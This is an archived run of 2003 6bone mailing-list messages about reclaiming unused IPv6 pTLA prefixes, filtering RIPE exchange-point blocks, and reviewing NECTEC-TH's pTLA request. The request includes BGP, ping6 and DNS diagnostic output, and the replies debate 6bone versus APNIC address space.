As of this moment, ANSNET and 6COM are returned and CAIRN is reclaimed. 
I've just updated the list for these.

I will continue to update the list as I plod along. Meanwhile, anything 
that is in question is marked so anyone concerned can simply not peer until 
it is clarified.

Can someone remind me what the "never" last seen status time is?


Thanks,

Bob 


From nsp-security@enterzone.net Tue Feb 25 08:31:24 2003
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From: John Fraizer <tvo@enterzone.net>
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cc: 6bone@mailman.isi.edu, ipv6@kewlio.net
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I allow them in but, we tag anything that breaks the aggregation as
no-export so, we don't redistribute.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |


On Tue, 25 Feb 2003, Daniel Austin wrote:

> Hello,
> 
> Does anyone allow the RIPE exchange point blocks in their filters?
> 
> RIPE allocate all exchange points from their 2001:7f8::/32 block with a /48 to each exchange point as follows:
> 
> 2001:7f8::/48 is DECIX, DE
> 2001:7f8:1::/48 is AMS-IX, NL
> 2001:7f8:2::/48 is UK6X, UK
> 2001:7f8:3::/48 is Xchangepoint, UK
> 2001:7f8:4::/48 is LINX, UK
> 2001:7f8:5::/48 is LIPEX exchange, UK
> 2001:7f8:6::/48 is BGIX, BG
> 2001:7f8:7::/48 is FICIX, FI
> 2001:7f8:8::/48 is BLNX, DE
> 2001:7f8:9::/48 is MANAP, UK
> 2001:7f8:a::/48 is GIGAPIX, PT
> 2001:7f8:b::/48 is MIX, IT
> 2001:7f8:c::/48 is CHTIX, CH
> 2001:7f8:d::/48 is NODIX, SE
> 2001:7f8:e::/48 is NDIX, NL
> 2001:7f8:f::/48 is ESPANIX, ES
> 2001:7f8:10::/48 is NAMEX6, IT
> 2001:7f8:11::/48 is LIX, LU
> 2001:7f8:12::/48 is NIX1/NIX2, NO
> 2001:7f8:13::/48 is NLSIX, NL
> 2001:7f8:14::/48 is NIX, CZ
> 2001:7f8:15::/48 is TIX, EE
> 
> I've just started a transit feed to LIPEX (2001:7f8:5::/48), but getting people to accept the prefix seems difficult!
> I just wondered how many people's filters would accept this prefix?
> 
> 
> With Thanks,
> 
> Daniel Austin,
> Managing Director,
> Kewlio.net Limited.
> <daniel@kewlio.net>
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From jeroen@unfix.org Tue Feb 25 08:31:47 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, closes   17Jan0
Date: Tue, 25 Feb 2003 17:32:50 +0100
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Bob Fink [mailto:bob@thefinks.com] wrote:

> Jeroen,
> 
> At 02:57 PM 2/25/2003 +0100, Jeroen Massar wrote:
> >Bob Fink wrote the 17th of January 2003:

> As of this moment, ANSNET and 6COM are returned and CAIRN is 
> reclaimed. 
> I've just updated the list for these.


> I will continue to update the list as I plod along. 
> Meanwhile, anything 
> that is in question is marked so anyone concerned can simply 
> not peer until 
> it is clarified.
> 
> Can someone remind me what the "never" last seen status time is?

"Never" means:
"didn't get a route for this prefix in any of the routing tables
 since the 1st of December 2002 when this measurement tool was started"

Unfortunatly that is not a very long while, maybe if someone has old
tables laying around they can contribute them so I can match up the
dates?
I've added the above sentence on the page to clarify this a bit.

Greets,
 Jeroen



From bob@thefinks.com Tue Feb 25 10:06:38 2003
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From: Bob Fink <bob@thefinks.com>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, closes  
  17Jan0
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At 05:32 PM 2/25/2003 +0100, Jeroen Massar wrote:
>Bob Fink [mailto:bob@thefinks.com] wrote:
>
> > Jeroen,
> >
> > At 02:57 PM 2/25/2003 +0100, Jeroen Massar wrote:
> > >Bob Fink wrote the 17th of January 2003:
>
> > As of this moment, ANSNET and 6COM are returned and CAIRN is
> > reclaimed.
> > I've just updated the list for these.
>
>
> > I will continue to update the list as I plod along.
> > Meanwhile, anything
> > that is in question is marked so anyone concerned can simply
> > not peer until
> > it is clarified.
> >
> > Can someone remind me what the "never" last seen status time is?
>
>"Never" means:
>"didn't get a route for this prefix in any of the routing tables
>  since the 1st of December 2002 when this measurement tool was started"
>
>Unfortunatly that is not a very long while, maybe if someone has old
>tables laying around they can contribute them so I can match up the
>dates?
>I've added the above sentence on the page to clarify this a bit.

Thanks for the clarification.


Bob 


From dr@cluenet.de Tue Feb 25 15:36:00 2003
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From: Daniel Roesen <dr@cluenet.de>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, closes 17Jan0
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On Tue, Feb 25, 2003 at 04:00:35PM +0100, Nicolas DEFFAYET wrote:
> On Tue, 2003-02-25 at 14:57, Jeroen Massar wrote:
> > Bob Fink wrote the 17th of January 2003:
> 
> > Also 3ffe:d00::/24 (ANSNET/US-DC) and 3ffe:82e0::/28 (LDCOM/FR) are
> > still not available, any information about those?
> 
> We work with LDCOM, they will announce their pTLA very soon.

Route announcements are a 10-second-job. Will they actually _use_ the
space or just "trick around" to make an announcement visible?

This is exactly what I meant is flawed about giving weeks and months
of grace time. For many, you only give them time to make an "alibi
announcement" visibile. IMNSHO, if someone doesn't announce a block
for months, they _don't_use_it_. This means, if they actually care again
of _using_ it, they can reapply for a new block and obtain new addresses
quite quickly. With current, up-to-date contact information etc.

But then again, if this is what 6bone regards as being acceptable, then
who am I to complain. :-)

Just my unimportant ?0.02 ;-)


Best regards,
Daniel

From jeroen@unfix.org Tue Feb 25 16:45:27 2003
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To: "'Daniel Roesen'" <dr@cluenet.de>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, closes 17Jan0
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Daniel Roesen wrote:

> On Tue, Feb 25, 2003 at 04:00:35PM +0100, Nicolas DEFFAYET wrote:
> > On Tue, 2003-02-25 at 14:57, Jeroen Massar wrote:
> > > Bob Fink wrote the 17th of January 2003:
> > 
> > > Also 3ffe:d00::/24 (ANSNET/US-DC) and 3ffe:82e0::/28 
> (LDCOM/FR) are
> > > still not available, any information about those?
> > 
> > We work with LDCOM, they will announce their pTLA very soon.
> 
> Route announcements are a 10-second-job. Will they actually _use_ the
> space or just "trick around" to make an announcement visible?
> 
> This is exactly what I meant is flawed about giving weeks and months
> of grace time. For many, you only give them time to make an "alibi
> announcement" visibile. IMNSHO, if someone doesn't announce a block
> for months, they _don't_use_it_. This means, if they actually 
> care again of _using_ it, they can reapply for a new block and obtain 
> new addresses quite quickly. With current, up-to-date contact
information etc.

Not even talking about the fact that they apparently didn't try
and contact Bob yet, nor make a public statement about the status.

Then again, there is another side to the story that one could be
allocated
address space (or ASN's etc) just for the sake that:
'whenever we peer with another party we know that it is globally unique'
Though one could quite easily state that and we haven't seen that yet
either...

Maybe a 'intention of use' clause could be put into the still to be
renewed signup draft?

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Tue Feb 25 17:11:08 2003
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Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, closes 17Jan0
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Daniel Roesen <dr@cluenet.de>
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On Wed, 2003-02-26 at 00:35, Daniel Roesen wrote:

> This is exactly what I meant is flawed about giving weeks and months
> of grace time. For many, you only give them time to make an "alibi
> announcement" visibile. IMNSHO, if someone doesn't announce a block
> for months, they _don't_use_it_. This means, if they actually care again
> of _using_ it, they can reapply for a new block and obtain new addresses
> quite quickly. With current, up-to-date contact information etc.

It's not quick to get a pTLA: 15 days when you are lucky, 1 month when
people troll on your request...

pTLA review is not useful, many pTLA have been allocated without respect
RFC2772 (with only one contact, with reserved ASN,...)


What do you think about the last allocated pTLA ?

HP/US                 3FFE:4015::/32 [22Jan03]

Wed Feb 26 01:52:26 CET 2003
route-server.ndsoftwarenet.net> show ipv6 bgp 3FFE:4015::/32
% Network not in table
route-server.ndsoftwarenet.net>

1 month after the allocation, this pTLA had never been announced !


-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware NOC: http://noc.ndsoftwarenet.com/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From Emanuele.Logalbo@TILAB.COM Wed Feb 26 01:15:38 2003
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Date: Wed, 26 Feb 2003 10:15:25 +0100
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Hi all,
I have configured a multicast ipv6 testbed using freebsd 4.7 routers.Now I would like to try using vic rat for multicast.One of the things I must care about them is ths PC must be in  IPv6 DNS.I would like to use these tools in a LAN and I don't have a DNS server so what do I need?
Another question.I don't understand how I can manage multicast IPv6 group:in windows 2000 I tried to assign to my hosts multicast addresses and unicast addresses to the same interface but it is not possible.So How can I proceede fixing and managing multicast groups for vic and rat applications?
I hope you will help me.
Thanks in advance and Best Regards.


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From: "Gavarret, David" <David.Gavarret@ldcom.fr>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, closes 17Ja
	n0
Date: Wed, 26 Feb 2003 15:09:47 +0100
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> Daniel Roesen wrote:

<...>
> > > > Also 3ffe:d00::/24 (ANSNET/US-DC) and 3ffe:82e0::/28 
> > (LDCOM/FR) are
> > > > still not available, any information about those?
> > > 
<...>
> Not even talking about the fact that they apparently didn't try
> and contact Bob yet, nor make a public statement about the status.

Hi all,

I answered on January, 6th to the 6Bone list to the notice Bob send with all
the details concerning our IPv6 experimentation.
I managed to get my dedicated router back, with all the cards needed.
I still need to make a trick on tuesday morning on the router to get it
working.

I am actually alone to do all of this job, as the IPv6 experimentation is
still considered by my bosses as a secondary plan task when I have to select
prioritary tasks. I try to do my best to do as fast as possible.
We managed to get our initial platform up during nearly one full year. And
we still have the will to get back on the 6Bone and to improve our ipv6
network.

Regards,
David Gavarret
LDCOM Networks

From rvdp@rvdp.org Wed Feb 26 11:48:53 2003
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
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Subject: [6bone] meeting at SFO?
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Bob,

I think you were thinking about a 6BONE lunch meeting at SFO, but
I cannot find the message anymore. I think we should set a date
before everybody's slots are filled.

	rvdp

From pfs@cisco.com Wed Feb 26 17:44:52 2003
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Date: Thu, 27 Feb 2003 11:44:01 +1000
To: Bob Fink <bob@thefinks.com>
From: Philip Smith <pfs@cisco.com>
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March
  2003
Cc: 6BONE List <6bone@mailman.isi.edu>, "NECTEC-IPv6" <ipv6@nectec.or.th>
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I'm generally curious why organisations which are members of the various 
RIRs are still coming to request 6BONE address space. Global IPv6 address 
space is global IPv6 address space, whether it comes from the 6bone, or in 
this case, from APNIC, so I'm wondering why NECTEC feel that it is 
necessary to comply with the 6bone rules rather than simply requesting 
their IPv6 address block from APNIC under their existing APNIC membership. 
Both address spaces will work on a testbed, the benefit of the RIR space 
being that it is real, not experimental, and is unlikely to be withdrawn 
when the 6bone experiment finishes in the future.

philip
--

At 09:27 24/02/2003 -0800, Bob Fink wrote:
>6bone Folk,
>
>NECTEC-TH has requested a pTLA allocation and I find their request fully 
>compliant with RFC2772. The open review period for this will close 22 
>January 2003. Please send your comments to me or the list.
>
><<http://www.ipv6.nectec.or.th>http://www.ipv6.nectec.or.<http://www.ipv6.nectec.or.th>th>
>
>
>Thanks,
>
>Bob
>
>===
>>From: "NECTEC-IPv6" <ipv6@nectec.or.th>
>>To: <bob@thefinks.com>
>>Subject: pTLA request
>>Date: Fri, 21 Feb 2003 09:33:40 +0700
>>
>>Dear Mr. Bob Fink,
>>
>>This letter is being written on behalf of
>>   Thailand's IPv6 Testbed Project ,
>>   Thai Social/Sciencetific Academic and Research Network ,
>>   National Electronics and Computer Technology Center of Thailand
>>
>>to request pTLA allocation. Being qualified with RFC2772, please
>>find details below :
>>
>>===============================================
>>7. Guidelines for 6Bone pTLA sites
>>
>>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>>    should be recognized that holders of 6Bone pTLA allocations are
>>    expected to provide production quality backbone network services for
>>    the 6Bone.
>>
>>    1. The pTLA Applicant must have a minimum of three (3) months
>>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>>       the entire qualifying period the Applicant must be operationally
>>       providing the following:
>>
>>=>      Our testbed's connected to 6bone and launched since 9 August 2002.
>>
>>       a. Fully maintained, up to date, 6Bone Registry entries for their
>>          ipv6-site inet6num, mntner, and person objects, including each
>>          tunnel that the Applicant has.
>>
>>=> 
>><http://whois.6bone.net/cgi-bin/whois?NECTEC-TH>http://whois.6bone.net/cgi-bin/whois?NECTEC-TH
>>
>>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>>          between the Applicant's boundary router and the appropriate
>>          connection point into the 6Bone. This router must be IPv6
>>          pingable. This criteria is judged by members of the 6Bone
>>          Operations Group at the time of the Applicant's pTLA request.
>>
>>=> BGP4+ peering with regional and domestic 6bone's backbone
>>sites : INET-TH, CERNET-CN, NBEN-TW, MIMOS-MY
>>
>> >sh bgp ipv6 sum
>>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
>>State/PfxRcd
>>3FFE:3200:1:1A::1
>>                 4  4538   12902   27646    19481    0    0 1d08h          16
>>3FFE:3600:2000:888::3640:7
>>                 4  9681   29337   26177    19481    0    0 1d07h         236
>>3FFE:400B:400B::8
>>                 4  4618   21510   23789    19481    0    0 1w0d          415
>>3FFE:80D0:FFFC:10::42
>>                 4  2042   39314   17080    19481    0    0 1d19h         287
>>
>>=> Router, ep.ipv6.nectec.or.th, IPv6 pingable.
>>PING6(56=40+8+8 bytes) 3ffe:8140:101:7::1 --> 3ffe:400b:400b::9
>>16 bytes from 3ffe:400b:400b::9, icmp_seq=0 hlim=58 time=783.453 ms
>>16 bytes from 3ffe:400b:400b::9, icmp_seq=1 hlim=58 time=817.015 ms
>>16 bytes from 3ffe:400b:400b::9, icmp_seq=2 hlim=58 time=1435.44 ms
>>16 bytes from 3ffe:400b:400b::9, icmp_seq=3 hlim=58 time=838.53 ms
>>16 bytes from 3ffe:400b:400b::9, icmp_seq=4 hlim=58 time=1074.85 ms
>>
>>--- ep.ipv6.nectec.or.th ping6 statistics ---
>>5 packets transmitted, 5 packets received, 0% packet loss
>>round-trip min/avg/max/std-dev = 783.453/989.858/1435.441/245.416 ms
>>
>>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>>          entries for the Applicant's router(s) and at least one host
>>          system.
>>
>>=> The current DNS server is  leo.ipv6.nectec.or.th maintaining both forward
>>and reverse entries for ep.ipv6.nectec.or.th (router) and 
>><http://www.ipv6.nectec.or.th>www.ipv6.nectec.or.th
>>
>>$ORIGIN ipv6.nectec.or.th.
>>@                       1D IN SOA       leo root.leo (
>>                                         2002101001      ; serial
>>                                         8H              ; refresh
>>                                         2H              ; retry
>>                                         1W              ; expiry
>>                                         1D )            ; minimum
>>
>>                         1D IN NS        leo
>>
>>ep                      1D IN AAAA      3ffe:400b:400b::9
>>                         1D IN A         203.185.132.158
>>www                     1D IN CNAME     leo
>>leo                     1D IN AAAA      3ffe:400b:6003::9
>>                         1D IN A         203.185.132.132
>>
>>=> Reverse DNS Delegation :
>>$ dig -t any 3.0.0.6.b.0.0.4.e.f.f.3.ip6.int @rns1.v6.inet.co.th
>>
>>; <<>> DiG 8.3 <<>> -t 3.0.0.6.b.0.0.4.e.f.f.3.ip6.int @rns1.v6.inet.co.th
>>; (1 server found)
>>;; res options: init recurs defnam dnsrch
>>;; got answer:
>>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
>>;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
>>;; QUERY SECTION:
>>;;      3.0.0.6.b.0.0.4.e.f.f.3.ip6.int, type = ANY, class = IN
>>
>>;; AUTHORITY SECTION:
>>3.0.0.6.b.0.0.4.e.f.f.3.ip6.int.  12H IN NS  leo.ipv6.nectec.or.th.
>>
>>;; ADDITIONAL SECTION:
>>leo.ipv6.nectec.or.th.  4h32m34s IN A   203.185.132.132
>>
>>;; Total query time: 51 msec
>>;; FROM: leo.ipv6.nectec.or.th to SERVER: rns1.v6.inet.co.th  203.150.14.111
>>;; WHEN: Fri Jan 31 11:26:55 2003
>>;; MSG SIZE  sent: 49  rcvd: 100
>>
>>       d. A fully maintained, and reliable, IPv6-accessible system
>>          providing, at a mimimum, one or more web pages, describing the
>>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>>
>>=> <http://www.ipv6.nectec.or.th>http://www.ipv6.nectec.or.th --v4/v6 
>>accessible
>>
>>=> The result of ping6 <http://www.ipv6.nectec.or.th>www.ipv6.nectec.or.th
>>PING6(56=40+8+8 bytes) 3ffe:8140:101:7::1 --> 3ffe:400b:6003::9
>>16 bytes from 3ffe:400b:6003::9, icmp_seq=0 hlim=57 time=679.311 ms
>>16 bytes from 3ffe:400b:6003::9, icmp_seq=1 hlim=57 time=1159.21 ms
>>16 bytes from 3ffe:400b:6003::9, icmp_seq=2 hlim=57 time=655.809 ms
>>16 bytes from 3ffe:400b:6003::9, icmp_seq=3 hlim=57 time=876.863 ms
>>
>>    2. The pTLA Applicant MUST have the ability and intent to provide
>>       "production-quality" 6Bone backbone service. Applicants must
>>       provide a statement and information in support of this claim.
>>       This MUST include the following:
>>
>>       a. A support staff of two persons minimum, three preferable, with
>>          person attributes registered for each in the ipv6-site object
>>          for the pTLA applicant.
>>
>>=> TB6-6BONE,
>>      CC8-6BONE,
>>      PT4-6BONE
>>
>>       b. A common mailbox for support contact purposes that all support
>>          staff have acess to, pointed to with a notify attribute in the
>>          ipv6-site object for the pTLA Applicant.
>>
>>=> <mailto:ipv6@nectec.or.th>ipv6@nectec.or.th
>>
>>    3. The pTLA Applicant MUST have a potential "user community" that
>>       would be served by its becoming a pTLA, e.g., the Applicant is a
>>       major provider of Internet service in a region, country, or focus
>>       of interest. Applicant must provide a statement and information in
>>       support this claim.
>>
>>=> The Thailand's IPv6 Testbed project was formally established in October
>>2001, under the management of Thai Social/Science Academic and Research
>>  Network (ThaiSARN-3) project 
>> (<http://www.thaisarn.net.th>http://www.thaisarn.net.th),
>>  National Electronics and Computer Technology Center
>>(<http://www.nectec.or.th>http://www.nectec.or.th).
>>With a mission to promote the next generation Internet in the country,
>>this project is proposed in order to establish national IPv6 gateway and
>>provide IPv6 testing services to support research and experimentally
>>operational activities towards development of IPv6-related technologies
>>and IPv6-ready networks for all Thai public.
>>
>>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>>       operational rules and policies as they exist at time of its
>>       application, and agree to abide by future 6Bone backbone
>>       operational rules and policies as they evolve by consensus of the
>>       6Bone backbone and user community.
>>
>>=> We commit to abide by present and future operational rules and policies
>>      of 6Bone backbone and user community.
>>
>>    When an Applicant seeks to receive a pTLA allocation, it will apply
>>    to the 6Bone Operations Group (see section 8 below) by providing to
>>    the Group information in support of its claims that it meets the
>>    criteria above.
>>
>>===================
>>
>>Thank you
>>Thailand's IPv6 Testbed
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From bmanning@ISI.EDU Wed Feb 26 17:59:02 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
In-Reply-To: <5.1.0.14.2.20030227113545.03c2bdd0@pfs-pc.cisco.com> from Philip Smith at "Feb 27, 3 11:44:01 am"
To: pfs@cisco.com (Philip Smith)
Date: Wed, 26 Feb 2003 17:58:57 -0800 (PST)
Cc: bob@thefinks.com, 6bone@ISI.EDU, ipv6@nectec.or.th
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	one reason is that is is much easier to delineate experimental
	activities from things that may be more persistant.

% I'm generally curious why organisations which are members of the various 
% RIRs are still coming to request 6BONE address space. Global IPv6 address 
% space is global IPv6 address space, whether it comes from the 6bone, or in 
% this case, from APNIC, so I'm wondering why NECTEC feel that it is 
% necessary to comply with the 6bone rules rather than simply requesting 
% their IPv6 address block from APNIC under their existing APNIC membership. 
% Both address spaces will work on a testbed, the benefit of the RIR space 
% being that it is real, not experimental, and is unlikely to be withdrawn 
% when the 6bone experiment finishes in the future.
% 
% philip
% --
% 
% At 09:27 24/02/2003 -0800, Bob Fink wrote:
% >6bone Folk,
% >
% >NECTEC-TH has requested a pTLA allocation and I find their request fully 
% >compliant with RFC2772. The open review period for this will close 22 
% >January 2003. Please send your comments to me or the list.
% >
% ><<http://www.ipv6.nectec.or.th>http://www.ipv6.nectec.or.<http://www.ipv6.nectec.or.th>th>
% >
% >
% >Thanks,
% >
% >Bob
% >
% >===
% >>From: "NECTEC-IPv6" <ipv6@nectec.or.th>
% >>To: <bob@thefinks.com>
% >>Subject: pTLA request
% >>Date: Fri, 21 Feb 2003 09:33:40 +0700
% >>
% >>Dear Mr. Bob Fink,
% >>
% >>This letter is being written on behalf of
% >>   Thailand's IPv6 Testbed Project ,
% >>   Thai Social/Sciencetific Academic and Research Network ,
% >>   National Electronics and Computer Technology Center of Thailand
% >>
% >>to request pTLA allocation. Being qualified with RFC2772, please
% >>find details below :
% >>
% >>===============================================
% >>7. Guidelines for 6Bone pTLA sites
% >>
% >>    The following rules apply to qualify for a 6Bone pTLA allocation. It
% >>    should be recognized that holders of 6Bone pTLA allocations are
% >>    expected to provide production quality backbone network services for
% >>    the 6Bone.
% >>
% >>    1. The pTLA Applicant must have a minimum of three (3) months
% >>       qualifying experience as a 6Bone end-site or pNLA transit.  During
% >>       the entire qualifying period the Applicant must be operationally
% >>       providing the following:
% >>
% >>=>      Our testbed's connected to 6bone and launched since 9 August 2002.
% >>
% >>       a. Fully maintained, up to date, 6Bone Registry entries for their
% >>          ipv6-site inet6num, mntner, and person objects, including each
% >>          tunnel that the Applicant has.
% >>
% >>=> 
% >><http://whois.6bone.net/cgi-bin/whois?NECTEC-TH>http://whois.6bone.net/cgi-bin/whois?NECTEC-TH
% >>
% >>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
% >>          between the Applicant's boundary router and the appropriate
% >>          connection point into the 6Bone. This router must be IPv6
% >>          pingable. This criteria is judged by members of the 6Bone
% >>          Operations Group at the time of the Applicant's pTLA request.
% >>
% >>=> BGP4+ peering with regional and domestic 6bone's backbone
% >>sites : INET-TH, CERNET-CN, NBEN-TW, MIMOS-MY
% >>
% >> >sh bgp ipv6 sum
% >>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
% >>State/PfxRcd
% >>3FFE:3200:1:1A::1
% >>                 4  4538   12902   27646    19481    0    0 1d08h          16
% >>3FFE:3600:2000:888::3640:7
% >>                 4  9681   29337   26177    19481    0    0 1d07h         236
% >>3FFE:400B:400B::8
% >>                 4  4618   21510   23789    19481    0    0 1w0d          415
% >>3FFE:80D0:FFFC:10::42
% >>                 4  2042   39314   17080    19481    0    0 1d19h         287
% >>
% >>=> Router, ep.ipv6.nectec.or.th, IPv6 pingable.
% >>PING6(56=40+8+8 bytes) 3ffe:8140:101:7::1 --> 3ffe:400b:400b::9
% >>16 bytes from 3ffe:400b:400b::9, icmp_seq=0 hlim=58 time=783.453 ms
% >>16 bytes from 3ffe:400b:400b::9, icmp_seq=1 hlim=58 time=817.015 ms
% >>16 bytes from 3ffe:400b:400b::9, icmp_seq=2 hlim=58 time=1435.44 ms
% >>16 bytes from 3ffe:400b:400b::9, icmp_seq=3 hlim=58 time=838.53 ms
% >>16 bytes from 3ffe:400b:400b::9, icmp_seq=4 hlim=58 time=1074.85 ms
% >>
% >>--- ep.ipv6.nectec.or.th ping6 statistics ---
% >>5 packets transmitted, 5 packets received, 0% packet loss
% >>round-trip min/avg/max/std-dev = 783.453/989.858/1435.441/245.416 ms
% >>
% >>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
% >>          entries for the Applicant's router(s) and at least one host
% >>          system.
% >>
% >>=> The current DNS server is  leo.ipv6.nectec.or.th maintaining both forward
% >>and reverse entries for ep.ipv6.nectec.or.th (router) and 
% >><http://www.ipv6.nectec.or.th>www.ipv6.nectec.or.th
% >>
% >>$ORIGIN ipv6.nectec.or.th.
% >>@                       1D IN SOA       leo root.leo (
% >>                                         2002101001      ; serial
% >>                                         8H              ; refresh
% >>                                         2H              ; retry
% >>                                         1W              ; expiry
% >>                                         1D )            ; minimum
% >>
% >>                         1D IN NS        leo
% >>
% >>ep                      1D IN AAAA      3ffe:400b:400b::9
% >>                         1D IN A         203.185.132.158
% >>www                     1D IN CNAME     leo
% >>leo                     1D IN AAAA      3ffe:400b:6003::9
% >>                         1D IN A         203.185.132.132
% >>
% >>=> Reverse DNS Delegation :
% >>$ dig -t any 3.0.0.6.b.0.0.4.e.f.f.3.ip6.int @rns1.v6.inet.co.th
% >>
% >>; <<>> DiG 8.3 <<>> -t 3.0.0.6.b.0.0.4.e.f.f.3.ip6.int @rns1.v6.inet.co.th
% >>; (1 server found)
% >>;; res options: init recurs defnam dnsrch
% >>;; got answer:
% >>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
% >>;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
% >>;; QUERY SECTION:
% >>;;      3.0.0.6.b.0.0.4.e.f.f.3.ip6.int, type = ANY, class = IN
% >>
% >>;; AUTHORITY SECTION:
% >>3.0.0.6.b.0.0.4.e.f.f.3.ip6.int.  12H IN NS  leo.ipv6.nectec.or.th.
% >>
% >>;; ADDITIONAL SECTION:
% >>leo.ipv6.nectec.or.th.  4h32m34s IN A   203.185.132.132
% >>
% >>;; Total query time: 51 msec
% >>;; FROM: leo.ipv6.nectec.or.th to SERVER: rns1.v6.inet.co.th  203.150.14.111
% >>;; WHEN: Fri Jan 31 11:26:55 2003
% >>;; MSG SIZE  sent: 49  rcvd: 100
% >>
% >>       d. A fully maintained, and reliable, IPv6-accessible system
% >>          providing, at a mimimum, one or more web pages, describing the
% >>          Applicant's IPv6 services.  This server must be IPv6 pingable.
% >>
% >>=> <http://www.ipv6.nectec.or.th>http://www.ipv6.nectec.or.th --v4/v6 
% >>accessible
% >>
% >>=> The result of ping6 <http://www.ipv6.nectec.or.th>www.ipv6.nectec.or.th
% >>PING6(56=40+8+8 bytes) 3ffe:8140:101:7::1 --> 3ffe:400b:6003::9
% >>16 bytes from 3ffe:400b:6003::9, icmp_seq=0 hlim=57 time=679.311 ms
% >>16 bytes from 3ffe:400b:6003::9, icmp_seq=1 hlim=57 time=1159.21 ms
% >>16 bytes from 3ffe:400b:6003::9, icmp_seq=2 hlim=57 time=655.809 ms
% >>16 bytes from 3ffe:400b:6003::9, icmp_seq=3 hlim=57 time=876.863 ms
% >>
% >>    2. The pTLA Applicant MUST have the ability and intent to provide
% >>       "production-quality" 6Bone backbone service. Applicants must
% >>       provide a statement and information in support of this claim.
% >>       This MUST include the following:
% >>
% >>       a. A support staff of two persons minimum, three preferable, with
% >>          person attributes registered for each in the ipv6-site object
% >>          for the pTLA applicant.
% >>
% >>=> TB6-6BONE,
% >>      CC8-6BONE,
% >>      PT4-6BONE
% >>
% >>       b. A common mailbox for support contact purposes that all support
% >>          staff have acess to, pointed to with a notify attribute in the
% >>          ipv6-site object for the pTLA Applicant.
% >>
% >>=> <mailto:ipv6@nectec.or.th>ipv6@nectec.or.th
% >>
% >>    3. The pTLA Applicant MUST have a potential "user community" that
% >>       would be served by its becoming a pTLA, e.g., the Applicant is a
% >>       major provider of Internet service in a region, country, or focus
% >>       of interest. Applicant must provide a statement and information in
% >>       support this claim.
% >>
% >>=> The Thailand's IPv6 Testbed project was formally established in October
% >>2001, under the management of Thai Social/Science Academic and Research
% >>  Network (ThaiSARN-3) project 
% >> (<http://www.thaisarn.net.th>http://www.thaisarn.net.th),
% >>  National Electronics and Computer Technology Center
% >>(<http://www.nectec.or.th>http://www.nectec.or.th).
% >>With a mission to promote the next generation Internet in the country,
% >>this project is proposed in order to establish national IPv6 gateway and
% >>provide IPv6 testing services to support research and experimentally
% >>operational activities towards development of IPv6-related technologies
% >>and IPv6-ready networks for all Thai public.
% >>
% >>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
% >>       operational rules and policies as they exist at time of its
% >>       application, and agree to abide by future 6Bone backbone
% >>       operational rules and policies as they evolve by consensus of the
% >>       6Bone backbone and user community.
% >>
% >>=> We commit to abide by present and future operational rules and policies
% >>      of 6Bone backbone and user community.
% >>
% >>    When an Applicant seeks to receive a pTLA allocation, it will apply
% >>    to the 6Bone Operations Group (see section 8 below) by providing to
% >>    the Group information in support of its claims that it meets the
% >>    criteria above.
% >>
% >>===================
% >>
% >>Thank you
% >>Thailand's IPv6 Testbed
% >
% >_______________________________________________
% >6bone mailing list
% >6bone@mailman.isi.edu
% >http://mailman.isi.edu/mailman/listinfo/6bone
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From itojun@itojun.org Wed Feb 26 18:11:20 2003
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Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003 
From: itojun@iijlab.net
Date: Thu, 27 Feb 2003 11:11:15 +0900
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>% I'm generally curious why organisations which are members of the various 
>% RIRs are still coming to request 6BONE address space. Global IPv6 address 
>% space is global IPv6 address space, whether it comes from the 6bone, or in 
>% this case, from APNIC, so I'm wondering why NECTEC feel that it is 
>% necessary to comply with the 6bone rules rather than simply requesting 
>% their IPv6 address block from APNIC under their existing APNIC membership. 
>% Both address spaces will work on a testbed, the benefit of the RIR space 
>% being that it is real, not experimental, and is unlikely to be withdrawn 
>% when the 6bone experiment finishes in the future.
>	one reason is that is is much easier to delineate experimental
>	activities from things that may be more persistant.

